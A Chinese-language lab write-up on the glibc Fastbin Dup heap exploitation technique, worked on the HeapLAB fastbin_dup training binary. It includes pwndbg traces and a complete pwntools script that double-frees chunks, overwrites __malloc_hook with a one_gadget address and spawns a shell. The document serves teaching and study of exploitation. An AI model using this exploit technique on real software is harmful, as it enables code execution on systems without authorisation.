针对fastbin,利用double free在两次malloc 时获得同一个块chunk,然后在第一次拿到chunk后修改堆的结构,将假的chunk链接到当前块,之后可以通过malloc分配到假的chunk,从而实现任意地址读写,这就是所谓的Fastbin Dup。
这里拿HeapLab中的fastbin_dup 当例子,逐步分析。运行程序可以看到主窗口,先输入用户名,之后可以malloc、free以及查看target。
1 2 3 4 5 6 7 8 9 10 11 x@ubuntu fastbin_dup ./fastbin_dup =============== | HeapLAB | Fastbin Dup =============== puts() @ 0x7f5f61acaaf0 Enter your username: FastbinDup 1 ) malloc 0 /7 2 ) free3 ) target4 ) quit>
既然利用需要double free,那就先试试double free (实际做题时,可以盲测或者直接用ida 看free后有没有置空), 直接malloc 一次free 两次,结果报错了:double free or corruption (fasttop) Program received signal SIGABRT, Aborted.
看下原因:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 7ffff7a5204a raise+202 f 1 7ffff7a530f5 abort+357 f 2 7ffff7a93f07 __libc_message+599 f 3 7ffff7a9b2aa f 4 7ffff7a9ccb4 _int_free+948 f 5 400a22 main+603 f 6 7ffff7a3e037 __libc_start_main+231 ──────────────────────────────────────────────────────────────────────────────── pwndbg> f 4 #4 0x00007ffff7a9ccb4 in _int_free (av=0x7ffff7dd0b60 <main_arena>, p=0x603000 , have_lock=0 ) at malloc.c:4266 4266 malloc_printerr ("double free or corruption (fasttop)" );pwndbg> context code LEGEND : STACK | HEAP | CODE | DATA | RWX | RODATA───────────────────────────────[ SOURCE (CODE) ]──────────────────────────────── In file: /home/ x/.glibc/glibc_2.30_no-tcache/malloc/malloc.c 4261 if (SINGLE_THREAD_P) 4262 { 4263 4265 if (__builtin_expect (old == p, 0 )) ► 4266 malloc_printerr ("double free or corruption (fasttop)" ); 4267 p->fd = old; 4268 *fb = p; 4269 } 4270 else 4271 do ────────────────────────────────────────────────────────────────────────────────
根据代码的注释可以看到,malloc 中的_int_free 函数会检查我们释放后要添加进fastbin中的chunk是否已经是fastbin中的第一个bin,是则提示double free,否则就通过检查。ok,既然如此我们就不用第一个bin试试看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 io.sendafter("username: " , "FastbinDup" ) io.recvuntil("> " ) chunk_A = malloc(0x68 , "A" *0x68 ) chunk_B = malloc(0x68 , "B" *0x68 ) input("after malloc" ) free(chunk_A) free(chunk_B) input("after free normal" ) --- pwndbg> vis 0x11a2000 0x0000000000000000 0x0000000000000071 ........q.......0x11a2010 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2020 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2030 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2040 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2050 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2060 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2070 0x4141414141414141 0x0000000000000071 AAAAAAAAq.......0x11a2080 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a2090 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20a0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20b0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20c0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20d0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20e0 0x4242424242424242 0x0000000000020f21 BBBBBBBB!....... <-- Top chunkpwndbg> fastbins fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x0 0x80 : 0x0 ... pwndbg> vis 0x11a2000 0x0000000000000000 0x0000000000000071 ........q....... <-- fastbins[0x70 ][1 ]0x11a2010 0x0000000000000000 0x4141414141414141 ........AAAAAAAA0x11a2020 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2030 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2040 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2050 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2060 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2070 0x4141414141414141 0x0000000000000071 AAAAAAAAq....... <-- fastbins[0x70 ][0 ]0x11a2080 0x00000000011a2000 0x4242424242424242 . ......BBBBBBBB0x11a2090 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20a0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20b0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20c0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20d0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20e0 0x4242424242424242 0x0000000000020f21 BBBBBBBB!....... <-- Top chunkpwndbg> fastbins fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x11a2070 —▸ 0x11a2000 ◂— 0x0 0x80 : 0x0 pwndbg>
正常的malloc 和free后,可以看到两个chunk都被放进了大小为0x70的fastbin中,且后free的在前面,也就是后入先出。那我们触发double free就free chunk_A 好了,试试看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 free(chunk_A) input("after double free" ) --- pwndbg> vis 0x11a2000 0x0000000000000000 0x0000000000000071 ........q....... <-- fastbins[0x70 ][0 ], fastbins[0x70 ][0 ]0x11a2010 0x00000000011a2070 0x4141414141414141 p ......AAAAAAAA0x11a2020 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2030 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2040 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2050 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2060 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA0x11a2070 0x4141414141414141 0x0000000000000071 AAAAAAAAq....... <-- fastbins[0x70 ][1 ]0x11a2080 0x00000000011a2000 0x4242424242424242 . ......BBBBBBBB0x11a2090 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20a0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20b0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20c0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20d0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB0x11a20e0 0x4242424242424242 0x0000000000020f21 BBBBBBBB!....... <-- Top chunkpwndbg> fastbins fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x11a2000 —▸ 0x11a2070 ◂— 0x11a2000 0x80 : 0x0
ok,看起来第一步已经实现了,成功布局chunk_A → chunk_B ← chunk_A ,接下来应该是将fake 地址链接到当前的fastbin中,先试试将user 的地址拉过来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 dup=malloc(0x68 , p64(elf.sym.user)) input("malloc for user addr" ) --- pwndbg> ptype user type = struct user { char username[16 ]; char target[16 ]; } pwndbg> p user $1 = { username = "FastbinDup\000\000\000\000\000" , target = "XXXXXXX\000\000\000\000\000\000\000\000" } pwndbg> fastbins fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x1e81000 —▸ 0x1e81070 ◂— 0x1e81000 0x80 : 0x0 pwndbg> c Continuing. ^C pwndbg> fastbins fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x1e81070 —▸ 0x1e81000 —▸ 0x602010 (user) ◂— 0x58585858585858 0x80 : 0x0 pwndbg>
看起来比较顺利,我们通过malloc后得到chunk_A, 之后将chunk_A中的fd指针指向user的地址,从而将user链入当前的bin中。后面如果能够成功的在user地址中写入内容,就算实现任意地址写了呗。
1 2 3 4 5 6 input("malloc for user addr" ) malloc(0x68 ,"C" *0x68 ) malloc(0x68 ,"D" *0x68 ) malloc(0x68 ,"arbitrary write" ) --- malloc(): memory corruption (fast)
看来没那么简单,这里直接崩了,ummm, 看看原因:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 7f7b237b604a raise+202 f 1 7f7b237b70f5 abort+357 f 2 7f7b237f7f07 __libc_message+599 f 3 7f7b237ff2aa f 4 7f7b2380235c _int_malloc+2028 f 5 7f7b23803533 malloc+51 f 6 400976 main+431 f 7 7f7b237a2037 __libc_start_main+231 ──────────────────────────────────────────────────────────────────────────────── pwndbg> f 4 #4 0x00007f7b2380235c in _int_malloc (av=av@entry=0x7f7b23b34b60 <main_arena>, bytes=bytes@entry=104 ) at malloc.c:3594 3594 malloc_printerr ("malloc(): memory corruption (fast)" );pwndbg> context code LEGEND : STACK | HEAP | CODE | DATA | RWX | RODATA───────────────────────────────[ SOURCE (CODE) ]──────────────────────────────── In file: /home/ x/.glibc/glibc_2.30_no-tcache/malloc/malloc.c 3589 REMOVE_FB (fb, pp, victim); 3590 if (__glibc_likely (victim != NULL)) 3591 { 3592 size_t victim_idx = fastbin_index (chunksize (victim)); 3593 if (__builtin_expect (victim_idx != idx, 0 )) ► 3594 malloc_printerr ("malloc(): memory corruption (fast)" ); 3595 check_remalloced_chunk (av, victim, nb); 3596 #if USE_TCACHE 3597 3599 size_t tc_idx = csize2tidx (nb); ────────────────────────────────────────────────────────────────────────────────
根据backtrace看到是在_int_malloc 的时候出问题的,根据代码来看,3592 行是在获取当前chunk的size然后判断是在fastbins中的第几个bin, 3593行则是判断当前的使用的bin和size所在的bin是否为同一个,如果不是则提示错误。
如此看来,错误应该是user这个fake bin 中表示size的字段不在0x60—0x70之间,根据上面看的user结构:两个长度为16的char数组,我们可以自己控制user.username [8:15],将其设置成0x70bin的长度即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 io.sendafter("username: " , p64(0 ) + p64(0x71 )) io.recvuntil("> " ) chunk_A = malloc(0x68 , "A" *0x68 ) chunk_B = malloc(0x68 , "B" *0x68 ) input("after malloc" ) free(chunk_A) free(chunk_B) input("after free normal" ) free(chunk_A) input ("after double free" ) dup=malloc(0x68 , p64(elf.sym.user)) input("malloc for user addr" ) malloc(0x68 ,"C" *0x68 ) malloc(0x68 ,"D" *0x68 ) malloc(0x68 ,"arbitrary write" ) --- pwndbg> p user $1 = { username = "\000\000\000\000\000\000\000\000q\000\000\000\000\000\000" , target = "XXXXXXX\000\000\000\000\000\000\000\000" } pwndbg> c Continuing. ^C pwndbg> p user $2 = { username = "\000\000\000\000\000\000\000\000q\000\000\000\000\000\000" , target = "arbitrary write" }
至此一个任意地址写已经实现了,下面就看一下如何实现RCE, 常规思路是通过任意写修改GOT表中malloc 或free对应的地址,改成system项尔后再填入参数调用。这里记一种新学到的招式:
在glibc中,提供了_malloc_hook 以及_free_hook,在调用malloc或free时,如果对应的hook值存在,则会先调用_malloc_hook或_free_hook指向的地址。既然如此,我们便可以overwrite 对应的地址,这样就可以直接让glibc帮我们来调用。overwrite的内容可以通过one_gadget 寻找glibc中的execve(“/bin/sh”…),只要满足条件就可以用。
下面详细来讲:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pwndbg> ptype __malloc_hook type = void *(*)(size_t, const void *) pwndbg> ptype __free_hook type = void (*)(void *, const void *) pwndbg> dq &__malloc_hook 20 00007f6d768d3b50 0000000000000000 0000000000000000 00007f6d768d3b60 0000000000000000 0000000000000000 00007f6d768d3b70 0000000000000000 0000000000000000 00007f6d768d3b80 0000000000000000 0000000000000000 00007f6d768d3b90 0000000000000000 0000000000000000 00007f6d768d3ba0 0000000000000000 0000000000000000 00007f6d768d3bb0 0000000000000000 0000000000000000 00007f6d768d3bc0 000000000259d0e0 0000000000000000 00007f6d768d3bd0 00007f6d768d3bc0 00007f6d768d3bc0 00007f6d768d3be0 00007f6d768d3bd0 00007f6d768d3bd0 pwndbg> dq &__free_hook 20 00007f6d768d5e20 0000000000000000 0000000000000000 00007f6d768d5e30 0000000000000000 0000000000000000 00007f6d768d5e40 0000000000000000 0000000000000000 00007f6d768d5e50 0000000000000000 0000000000000000 00007f6d768d5e60 0000000000000000 0000000000000000 00007f6d768d5e70 0000000000000000 0000000000000080 00007f6d768d5e80 0000000000000000 0000000000000000 00007f6d768d5e90 0000000000000000 0000000000000000 00007f6d768d5ea0 0000000000000000 0000000000000000 00007f6d768d5eb0 0000000000000000 0000000000000000
看了__malloc_hook 和__free_hook,发现一个问题,如果把他们当作一个fake chunk,表示size的字段都是0,必然无法通过_int_malloc中的check,同时这里也不像user结构那样可以被我们控制。既然如此,那我们就向前找找,只要表示size的字段合适且能覆盖到_malloc_hook 或_free_hook就可以。这里可以借助pwndbg的find_fake_fast命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pwndbg> find_fake_fast --help usage : find_fake_fast [-h] addr [size]Find candidate fake fast chunks overlapping the specified address. positional arguments : addr Address of the word-sized value to overlap. size Size of fake chunks to find. optional arguments : -h, --help show this help message and exit pwndbg> find_fake_fast &__malloc_hook FAKE CHUNKS Fake chunk | Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA Addr : 0x7f6d768d3b2d prev_size : 0x6d768cfee0000000 size : 0x7f fd : 0x6d765a2a10000000 bk : 0x6d765a2ed000007f fd_nextsize : 0x7f bk_nextsize : 0x00 pwndbg> find_fake_fast &__free_hook FAKE CHUNKS pwndbg> p &__malloc_hook $1 = (void *(**)(size_t, const void *)) 0x7f6d768d3b50 <__malloc_hook> p/x 0x7f6d768d3b50 -0x7f6d768d3b2d -0x10 #malloc data字段在size之后 $3 = 0x13
在__malloc_hook 前成功找到一个可以充当fake fast chunk 的地址而__free_hook前则没找到合适的。如此我们在找到的地址上填充p8(any_num)*0x13+p64(cmd)即可。下面通过one_gadget查找libc.so中的execve(“/bin/sh”…)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ➜ ldd fastbin_dup linux-vdso.so.1 (0x00007ffc21493000) libc.so.6 => ../.glibc/glibc_2.30_no-tcache/libc.so.6 (0x00007ffa81a8000) ../.glibc/glibc_2.30_no-tcache/ld.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007ffae8564000) ➜ one_gadget ../.glibc/glibc_2.30_no-tcache/libc.so.6 0xc4dbf execve("/bin/sh", r13, r12) constraints: [r13] == NULL || r13 == NULL [r12] == NULL || r12 == NULL 0xe1fa1 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xe1fad execve("/bin/sh", rsi, [rax]) constraints: [rsi] == NULL || rsi == NULL [[rax]] == NULL || [rax] == NULL
找到三个可以执行shell的,三个都有限制条件,对应constraints字段显示的内容。那就只能是一个一个试试看了,这里将对应的地址改成0xdeadbeef,这样在malloc走到这里时会直接跳到调试器中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0xdeadbeef RBX 0x0 RCX 0x0 RDX 0xffffffffffffff98 RDI 0x68 RSI 0x400976 (main+431) ◂— mov rdx, rax R8 0x7fff71d631f3 ◂— 0x0 R9 0x0 R10 0x7fcc3ff00720 (_nl_C_LC_CTYPE_toupper+512) ◂— add byte ptr [rax], al R11 0xa R12 0x4006e0 (_start) ◂— xor ebp, ebp R13 0x7fff71d63370 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fff71d63290 —▸ 0x400ae0 (__libc_csu_init) ◂— push r15 RSP 0x7fff71d63228 —▸ 0x400976 (main+431) ◂— mov rdx, rax RIP 0xdeadbeef ───────────────────────────────────[ DISASM ]─────────────────────────────────── Invalid address 0xdeadbeef ───────────────────────────────────[ STACK ]──────────────────────────────────── ... ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 deadbeef f 1 400976 main+431 f 2 7fcc3fdbd037 __libc_start_main+231 ────────────────────────────────────────────────────────────────────────────────
可以看到r12 和 r13寄存器都不是空,且对应地址都不为空,所以第一个gadget不能满足条件。看下第二个,要求[rsp+0x50]为null,那就看下stack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> stack 15 00:0000│ rsp 0x7fff71d63228 —▸ 0x400976 (main+431) ◂— mov rdx, rax 01:0008│ 0x7fff71d63230 —▸ 0x7fff71d63378 —▸ 0x7fff71d64302 ◂— '/home/x/fastbin_dup/fastbin_dup' 02:0010│ 0x7fff71d63238 ◂— 0x171d6326e 03:0018│ 0x7fff71d63240 ◂— 0x600000001 04:0020│ 0x7fff71d63248 ◂— 0x68 /* 'h' */ 05:0028│ 0x7fff71d63250 —▸ 0x23bc010 —▸ 0x7fcc4014fb41 (__memalign_hook+1) ◂— 0x4141414141414141 ('AAAAAAAA') 06:0030│ 0x7fff71d63258 —▸ 0x23bc080 —▸ 0x23bc041 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq' 07:0038│ 0x7fff71d63260 —▸ 0x23bc010 —▸ 0x7fcc4014fb41 (__memalign_hook+1) ◂— 0x4141414141414141 ('AAAAAAAA') 08:0040│ 0x7fff71d63268 —▸ 0x23bc080 —▸ 0x23bc041 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq' 09:0048│ 0x7fff71d63270 —▸ 0x23bc010 —▸ 0x7fcc4014fb41 (__memalign_hook+1) ◂— 0x4141414141414141 ('AAAAAAAA') 0a:0050│ 0x7fff71d63278 —▸ 0x7fcc4014fb3d ◂— 0x4141414141414141 ('AAAAAAAA') 0b:0058│ 0x7fff71d63280 ◂— 0x0 0c:0060│ 0x7fff71d63288 ◂— 0x755c2feb7db26d00 0d:0068│ rbp 0x7fff71d63290 —▸ 0x400ae0 (__libc_csu_init) ◂— push r15 0e:0070│ 0x7fff71d63298 —▸ 0x7fcc3fdbd037 (__libc_start_main+231) ◂— mov edi, eax
ok,可以看到虽然当前[rsp+0x50]不为空,但是 rsp+50 指向的是我们可以控制的字符,那么就可以手动将其设置成0,如此第二个就满足条件了,wink~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 # ============================================================================= io.sendafter("username: ", p64(0) + p64(0x71)) # io.sendafter("username: ", "FastbinDup") io.recvuntil("> ") chunk_A = malloc(0x68, "A"*0x68) chunk_B = malloc(0x68, "B"*0x68) input("after malloc") free(chunk_A) free(chunk_B) input("after free normal") free(chunk_A) input ("after double free") # dup=malloc(0x68, p64(elf.sym.user)) dup = malloc(0x68, p64(libc.sym.__malloc_hook-0x23)) input("malloc for user addr") malloc(0x68,"C"*0x68) malloc(0x68,"D"*0x68) # malloc(0x68,"arbitrary write") # malloc(0x68, p64(libc.sym.system)) malloc(0x68, p8(0)*19+p64(libc.address + 0xe1fa1)) malloc(0x68, "") print ("enjoy~") # ============================================================================= io.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 x@ubuntu python3 RCE_Fastbin_Dup.py [*] '/home/x/fastbin_dup/fastbin_dup' Arch : amd64-64 -little RELRO : Full RELRO Stack : Canary found NX : NX enabled PIE : No PIE (0x400000 ) RUNPATH : b'../.glibc/glibc_2.30_no-tcache' [*] '/home/x/.glibc/glibc_2.30_no-tcache/libc-2.30.so' Arch : amd64-64 -little RELRO : Partial RELRO Stack : Canary found NX : NX enabled PIE : PIE enabled [+] Starting local process '/home/x/fastbin_dup/fastbin_dup' : pid 13618 after malloc after free normal after double free malloc for user addr enjoy~ [*] Switching to interactive mode $ id uid=1000 (x) gid=1000 (x) groups=1000 (x),4 (adm),24 (cdrom),27 (sudo),30 (dip),46 (plugdev),120 (lpadmin),131 (lxd),132 (sambashare)
小结
Fastbin Dup 就是通过double free修改fd指针,将fake fast bin 链入当前的链表中,之后再分配到对应地址
fastbin 的double free 检查只检查当前链入的块是否是第一个,不是则ok
在分配fastbin出去时,会检查当前chunk中表示size的字段与当前bin所在的大小是否一致,不符合则报错,所以size字段需要符合条件
利用时__malloc_hook是一个很好的目标,通过find_fake_fast找到符合条件的地址,之后覆盖_malloc_hook为对应的地址即可,one_gadget 可以用于在glibc的so文件中查找”/bin/sh”